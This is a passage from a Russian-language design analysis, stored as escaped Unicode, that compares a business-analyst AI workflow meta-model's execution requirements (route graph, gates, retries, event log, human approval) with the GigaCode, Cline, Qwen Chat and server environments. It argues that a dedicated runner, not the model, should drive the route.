\u043a\u0430\u043a \u044f\u0434\u0440\u043e, \u0435\u0441\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\\n   \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 (\u0433\u0440\u0430\u0444 \u0441 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u0430\u043c\u0438 `EP-R3`/`EP-R5`, \u0437\u0430\u043f\u0438\u0441\u044c\\n   \u0440\u0435\u0448\u0435\u043d\u0438\u0439 `EP-R6`, \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e\u0449\u0430\u044f \u043f\u043e\u043f\u044b\u0442\u043a\u0430 `EP-R7`, \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 `EP-R8`,\\n   \u0436\u0443\u0440\u043d\u0430\u043b `EP-R9`, G-human) \u043a\u043e\u0434\u043e\u043c \u0432\u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u0438, \u0431\u0435\u0440\u0451\u0442 \u0433\u0440\u0430\u0444 \u0438\u0437 Source \u0431\u0435\u0437\\n   \u0440\u0443\u0447\u043d\u043e\u0439 \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u043a\u0438 \u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f\u0445 \u0441\u0432\u043e\u0435\u0439 \u0441\u0440\u0435\u0434\u044b.\\n6. **\u041f\u043e\u0440\u043e\u0433 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430.** \u0412\u0430\u0440\u0438\u0430\u043d\u0442 \u043e\u0442\u0432\u0435\u0440\u0433\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u044f\u0434\u0440\u043e, \u0435\u0441\u043b\u0438\\n   \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e \u0445\u043e\u0442\u044f \u0431\u044b \u043e\u0434\u043d\u043e: \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u043d\u0443\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u0430\u0442\u044c \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u0438 \u0434\u0435\u0440\u0436\u0430\u0442\u044c\\n   \u0432\u0442\u043e\u0440\u044b\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c \u0438\u0441\u0442\u0438\u043d\u044b; \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0448\u0430\u0433\u043e\u0432 \u0440\u0435\u0448\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c; \u043d\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a\\n   \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u0432 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0440\u0435\u0434\u0435; \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u044f \u0437\u0430\u043f\u0440\u0435\u0449\u0430\u0435\u0442 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0435\\n   \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0438\u043b\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043f\u043b\u0430\u0442\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u0434\u043b\u044f \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438.\\n\\n## \u0421\u043b\u043e\u0439 1. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c: \u0447\u0442\u043e \u043e\u043d\u0430 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043e\u0442 \u0441\u0440\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f\\n\\n\u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438, \u043d\u043e \u0438 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f:\\n\u043a\u0430\u043a \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442\u044c \u0433\u0440\u0430\u0444, \u0447\u0442\u043e \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c, \u043a\u043e\u0433\u0434\u0430 \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c\u0441\u044f. \u042d\u0442\u0438\\n\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u2014 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u0434\u043b\u044f \u0441\u0440\u0435\u0434\u044b. \u0422\u0430\u0431\u043b\u0438\u0446\u0430 \u0441\u0432\u0435\u0440\u044f\u0435\u0442 \u0438\u0445 \u0441 \u0442\u0435\u043c,\\n\u0447\u0442\u043e \u0435\u0441\u0442\u044c \u0432 \u043f\u0430\u043a\u0435\u0442\u0430\u0445.\\n\\n| \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e | \u0413\u0434\u0435 \u0432 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 | \u0421\u0440\u0435\u0434\u0430 1: \u043f\u0430\u043a\u0435\u0442 GigaCode | \u0421\u0440\u0435\u0434\u0430 2: \u043f\u0430\u043a\u0435\u0442 Cline | \u041a\u0442\u043e \u0434\u043e\u043b\u0436\u0435\u043d \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u044c |\\n|---------------|-------------------|--------------------------|----------------------|----------------------|\\n| \u0427\u0438\u0442\u0430\u0442\u044c \u0433\u0440\u0430\u0444 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435, \u043f\u0438\u0441\u0430\u0442\u044c \u043b\u0438\u0441\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 | [`30-decision-framework.md` L49, L154](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L49) \u2014 \u00ab\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u00bb | Runner \u0447\u0438\u0442\u0430\u0435\u0442 \u0433\u0440\u0430\u0444, \u043d\u043e \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0438 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u0411\u0410 | \u041c\u0430\u0440\u0448\u0440\u0443\u0442 \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u043e\u0442\u0440\u0435\u0437\u043a\u0430 Working \u2192 Release; \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u0432\u0435\u0434\u0451\u0442 \u043c\u043e\u0434\u0435\u043b\u044c | \u041d\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043e ([\u0413-26](#\u0433-26)) |\\n| \u0412\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u0443 \u0440\u0435\u0431\u0440\u0430 (`EP-R3`, `EP-R5`) | [L227, L229](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L227-L229) | 17 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u043e\u0432 \u0432 YAML \u043d\u0435 \u0447\u0438\u0442\u0430\u044e\u0442\u0441\u044f; \u0432\u0435\u0442\u0432\u0438 \u043f\u0440\u043e\u0434\u0443\u0431\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0432 Python \u0434\u043b\u044f 8 \u0443\u0437\u043b\u043e\u0432 (`P11`) | \u0412\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u0439 \u043d\u0435\u0442 | Runner ([\u0413-28](#\u0433-28)) |\\n| \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 \u0443\u0437\u043b\u0430 \u043f\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443 | [`10-theory.md` L50](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md#L50): `Gate` \u2014 \u00ab\u0432 \u043a\u0430\u043a\u043e\u0439 \u0442\u043e\u0447\u043a\u0435 \u0438 \u043a\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u00bb | \u041d\u0430 \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u0445 \u0443\u0437\u043b\u0430\u0445 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043f\u0430\u043a\u0435\u0442, \u0430 \u043d\u0435 \u0432\u044b\u0445\u043e\u0434 (`P10`) | \u0422\u043e\u043b\u044c\u043a\u043e Working \u0438 Release | Runner ([\u0413-29](#\u0433-29)) |\\n| \u041e\u0434\u043d\u0430 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e\u0449\u0430\u044f \u043f\u043e\u043f\u044b\u0442\u043a\u0430 \u043f\u043e\u0441\u043b\u0435 \u043e\u0442\u043a\u0430\u0437\u0430 G-mach (`EP-R7`) | [L231](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L231) | \u041d\u043e\u043b\u044c \u043f\u043e\u043f\u044b\u0442\u043e\u043a; \u043b\u044e\u0431\u043e\u0439 \u043e\u0442\u043a\u0430\u0437 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 (`P12`) | \u041f\u043e\u0432\u0442\u043e\u0440 \u2014 \u0441 \u043d\u043e\u0432\u044b\u043c TASK ID | Runner ([\u0413-32](#\u0433-32), [\u0413-33](#\u0433-33)) |\\n| \u0412\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 (`EP-R8`) | [L232](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L232) | `halt` \u2014 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 | \u041d\u0435\u0442 | Runner ([\u0413-31](#\u0433-31)) |\\n| Append-only \u0436\u0443\u0440\u043d\u0430\u043b \u0441\u043e\u0431\u044b\u0442\u0438\u0439 (`EP-R9`) | [L233](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L233) | \u0415\u0441\u0442\u044c: \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432, \u0437\u0430\u043f\u0438\u0441\u044c \u0442\u043e\u043b\u044c\u043a\u043e runner | \u0415\u0441\u0442\u044c trace \u043f\u0440\u043e\u0433\u043e\u043d\u0430 | Runner \u2014 \u0443\u0436\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 ([\u0413-35](#\u0433-35)) |\\n| \u0421\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 (G-human) | `Gate` \u0432 [`10-theory.md` L50](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md#L50) | \u0424\u0440\u0430\u0437\u0430-\u0432\u044b\u0437\u043e\u0432 \u0441 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u043c \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0435 | \u041f\u043e\u043b\u0435 `approval` \u043f\u0438\u0448\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c ([\u0413-18 \u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md#\u0433-18)) | Runner + \u0447\u0435\u043b\u043e\u0432\u0435\u043a |\\n\\n\u0412\u044b\u0432\u043e\u0434 \u043f\u043e \u0441\u043b\u043e\u044e 1: \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u043d\u0435 \u00ab\u0447\u0442\u043e \u0434\u043e\u043b\u0436\u0435\u043d \u0437\u043d\u0430\u0442\u044c \u0430\u0433\u0435\u043d\u0442\u00bb, \u0430\\n\u00ab\u0447\u0442\u043e \u0434\u043e\u043b\u0436\u043d\u0430 \u0434\u0435\u043b\u0430\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u0430 \u0432\u043e\u043a\u0440\u0443\u0433 \u0430\u0433\u0435\u043d\u0442\u0430\u00bb. \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0441\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u044b\\n\u0431\u0435\u0437 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0438 \u043a \u0441\u0440\u0435\u0434\u0435, \u043a\u0440\u043e\u043c\u0435 `EP-R8`, \u0433\u0434\u0435 \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u043e \u00ab\u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0435\u0439\\n\u0432 \u043d\u043e\u0432\u044b\u0439 \u0447\u0430\u0442\u00bb ([\u0413-27](#\u0433-27)). \u0417\u043d\u0430\u0447\u0438\u0442, \u0438\u0445 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0438 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c\\n\u043c\u0435\u0441\u0442\u0435, \u0438 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u2014 \u0435\u0441\u043b\u0438 \u043d\u0430\u0437\u043d\u0430\u0447\u0438\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f.\\n\\n## \u0421\u043b\u043e\u0439 2. \u0421\u0440\u0435\u0434\u044b: \u043a\u0442\u043e \u043a\u0430\u043a\u0443\u044e \u0440\u043e\u043b\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\\n\\n\u0421\u043b\u043e\u0432\u043e \u00ab\u0441\u0440\u0435\u0434\u0430\u00bb \u0441\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0448\u0435\u0441\u0442\u044c \u0440\u0430\u0437\u043d\u044b\u0445 \u0440\u043e\u043b\u0435\u0439. \u0412 \u043e\u0431\u0441\u0443\u0436\u0434\u0435\u043d\u0438\u0438 \u0438\u0445 \u043b\u0435\u0433\u043a\u043e\\n\u0441\u043c\u0435\u0448\u0430\u0442\u044c; \u043d\u0438\u0436\u0435 \u043a\u0430\u0436\u0434\u0430\u044f \u0440\u043e\u043b\u044c \u043d\u0430\u0437\u0432\u0430\u043d\u0430 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e.\\n\\n| \u0420\u043e\u043b\u044c | \u0421\u0440\u0435\u0434\u0430 1: GigaCode CLI | \u0421\u0440\u0435\u0434\u0430 2: Cline + Mango AI | \u0421\u0440\u0435\u0434\u0430 3: Qwen Chat | \u0421\u0440\u0435\u0434\u0430 4: \u0441\u0435\u0440\u0432\u0435\u0440 |\\n|------|-----------------------|---------------------------|--------------------|-----------------|\\n| \u041c\u043e\u0434\u0435\u043b\u044c | GigaCode, \u0431\u0435\u0437 API Mango AI | Mango AI \u0447\u0435\u0440\u0435\u0437 OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 API | Qwen, \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e | Mango AI \u0447\u0435\u0440\u0435\u0437 API, \u0432\u044b\u0437\u043e\u0432 \u0438\u0437 \u043a\u043e\u0434\u0430 |\\n| \u0410\u0432\u0442\u043e\u0440 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0430 | \u0410\u0433\u0435\u043d\u0442 GigaCode | \u0410\u0433\u0435\u043d\u0442 Cline | \u041c\u043e\u0434\u0435\u043b\u044c \u0432 \u0447\u0430\u0442\u0435 | \u0428\u0430\u0433 runner, \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0449\u0438\u0439 \u043c\u043e\u0434\u0435\u043b\u044c |\\n| \u0418\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 | \u0422\u0435\u0440\u043c\u0438\u043d\u0430\u043b | \u041f\u0430\u043d\u0435\u043b\u044c Cline \u0432 VS Code | \u0412\u0435\u0431-\u0447\u0430\u0442 | \u0412\u0435\u0431-\u0447\u0430\u0442, \u043c\u0435\u0441\u0441\u0435\u043d\u0434\u0436\u0435\u0440 \u0438\u043b\u0438 \u0444\u043e\u0440\u043c\u0430 |\\n| \u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 | **\u0411\u0410 \u0440\u0443\u043a\u0430\u043c\u0438** \u0447\u0435\u0440\u0435\u0437 `tools/run-task` | **\u041c\u043e\u0434\u0435\u043b\u044c** \u043f\u043e \u0442\u0435\u043a\u0441\u0442\u0443 `AGENTS.md` | \u041c\u043e\u0434\u0435\u043b\u044c | Runner \u043a\u0430\u043a \u0441\u043b\u0443\u0436\u0431\u0430 |\\n| \u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u0438 \u0433\u0435\u0439\u0442\u043e\u0432 | `validate-package.py` \u0446\u0435\u043b\u0438\u043a\u043e\u043c | `run_task.py` \u0434\u043b\u044f Working \u0438 Release | \u041d\u0435\u0442 | \u0412\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b Source + CI \u0434\u043b\u044f Release |\\n| \u041a\u0430\u043d\u0430\u043b \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f | \u0424\u0440\u0430\u0437\u0430-\u0432\u044b\u0437\u043e\u0432 \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0435 | \u041f\u043e\u043b\u0435 \u0432 JSON, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043f\u0438\u0448\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c | \u041d\u0435\u0442 | \u041a\u043d\u043e\u043f\u043a\u0430 \u0438\u043b\u0438 \u0444\u043e\u0440\u043c\u0430 \u0441 \u0437\u0430\u043f\u0438\u0441\u044c\u044e \u0432 \u0436\u0443\u0440\u043d\u0430\u043b |\\n\\n\u0421\u0442\u0440\u043e\u043a\u0430 \u00ab\u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430\u00bb \u0438 \u0435\u0441\u0442\u044c \u0433\u043b\u0430\u0432\u043d\u044b\u0439 \u0440\u0430\u0437\u0440\u044b\u0432: \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0447\u0435\u0439\\n\u0441\u0440\u0435\u0434\u0435 \u044d\u0442\u0443 \u0440\u043e\u043b\u044c \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0447\u0438\u0442\u0430\u0435\u0442 \u0433\u0440\u0430\u0444. \u041a\u043b\u0438\u0435\u043d\u0442\u044b \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c\\n\u043c\u0435\u0441\u0442\u0435 \u043d\u0435 \u043c\u043e\u0433\u0443\u0442 \u0437\u0430\u043a\u0440\u044b\u0442\u044c \u0435\u0451 \u0441\u0430\u043c\u0438: workflow, skill \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u2014 \u044d\u0442\u043e \u0442\u0435\u043a\u0441\u0442,\\n\u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c, \u0430 hooks \u043c\u043e\u0433\u0443\u0442 \u0437\u0430\u043f\u0440\u0435\u0442\u0438\u0442\u044c \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0432\u044b\u0437\u043e\u0432, \u043d\u043e \u043d\u0435\\n\u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 ([\u0413-37](#\u0433-37)\u2026[\u0413-39](#\u0433-39)). \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n\u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u0436\u0438\u0442\u044c \u0432 runner, \u0430 \u043a\u043b\u0438\u0435\u043d\u0442 \u2014 \u0431\u044b\u0442\u044c \u043c\u0435\u0441\u0442\u043e\u043c, \u0433\u0434\u0435 \u043f\u0438\u0448\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a.\\n\\n## \u0421\u043b\u043e\u0439 3. \u0418\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\\n\\n### \u041f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440 \u043f\u0440\u0435\u0436\u043d\u0438\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u0439\\n\\n\u0414\u0432\u0430 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u043a\u0430\u0441\u0430\u044e\u0442\u0441\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u043f\u0440\u044f\u043c\u043e.\\n\\n- **\u0412\u0435\u0440\u0434\u0438\u043a\u0442 `M4`: \u00abbuild \u2014 YAML-\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442, \u0434\u0432\u0438\u0436\u043e\u043a \u0438\u0437\u0431\u044b\u0442\u043e\u0447\u0435\u043d\u00bb**\\n  ([`research/ba-requirements/orchestration/30-decision-framework.md` L193](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/orchestration/30-decision-framework.md#L193)).\\n  YAML \u043f\u043e\u0441\u0442\u0440\u043e\u0435\u043d. \u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c YAML \u0432 \u0432\u0435\u0440\u0434\u0438\u043a\u0442 \u043d\u0435 \u0432\u043e\u0448\u0451\u043b: \u00ab\u043d\u0435 \u043f\u043e\u043a\u0443\u043f\u0430\u0442\u044c\\n  \u0434\u0432\u0438\u0436\u043e\u043a\u00bb \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043b\u043e\u0441\u044c \u043a\u0430\u043a \u00ab\u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f \u043d\u0435 \u043d\u0443\u0436\u043d\u043e\u00bb. \u0414\u043b\u044f \u043e\u0434\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430 \u043d\u0430\\n  \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435 \u0432\u0435\u0440\u0434\u0438\u043a\u0442 \u0432\u0435\u0440\u0435\u043d \u0438 \u0441\u0435\u0439\u0447\u0430\u0441. \u0414\u043b\u044f \u0441\u0440\u0435\u0434\u044b 4 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u043f\u043e\u0441\u044b\u043b\u043a\u0430\\n  \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u0430 \u2014 \u00ab\u0435\u0434\u0438\u043d\u0438\u0446\u0430 \u0440\u0430\u0431\u043e\u0442\u044b \u2014 \u043f\u0440\u0435\u0434\u043f\u0440\u043e\u0435\u043a\u0442\u043d\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430\u00bb\\n  ([L199-L202](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/orchestration/30-decision-framework.md#L199-L202)):\\n  \u043f\u043e\u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 \u0434\u043d\u044f\u043c\u0438, \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438 \u043e\u0431\u0449\u0438\u0439\\n  \u0436\u0443\u0440\u043d\u0430\u043b ([\u0413-36](#\u0433-36)).\\n- **\u0410\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0430 C RFC GigaCode: \u00ab\u0412\u0432\u0435\u0441\u0442\u0438 \u0432\u043d\u0435\u0448\u043d\u0438\u0439 workflow engine\u00bb \u2014\\n  \u00ab\u041e\u0442\u043b\u043e\u0436\u0435\u043d\u043e\u00bb**\\n  ([RFC L371-L375](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md#L371-L375)).\\n  \u041e\u0442\u043b\u043e\u0436\u0435\u043d\u043e, \u0430 \u043d\u0435 \u043e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e, \u0438 \u0431\u0435\u0437 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0430 ([\u0413-54](#\u0433-54)).\\n  \u041f\u0440\u043e\u0431\u044b `P10`\u2026`P12` \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442, \u0447\u0442\u043e \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442 \u0446\u0435\u043b\u0438 \u043f\u043e\u043a\u0430 \u043d\u0435\\n  \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442, \u043d\u043e \u043f\u0440\u0438\u0447\u0438\u043d\u044b \u0434\u0435\u0448\u0451\u0432\u044b\u0435 \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0432\u043d\u0443\u0442\u0440\u0438 runner, \u0431\u0435\u0437 \u0432\u043d\u0435\u0448\u043d\u0435\u0433\u043e\\n  \u0434\u0432\u0438\u0436\u043a\u0430. \u0423\u0441\u043b\u043e\u0432\u0438\u0435 \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0430 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0442\u0430\u043a: \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0434\u0432\u0438\u0436\u043e\u043a\\n  \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f, \u043a\u043e\u0433\u0434\u0430 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043d\u0443\u0436\u043d\u044b \u0431\u043e\u043b\u044c\u0448\u0435 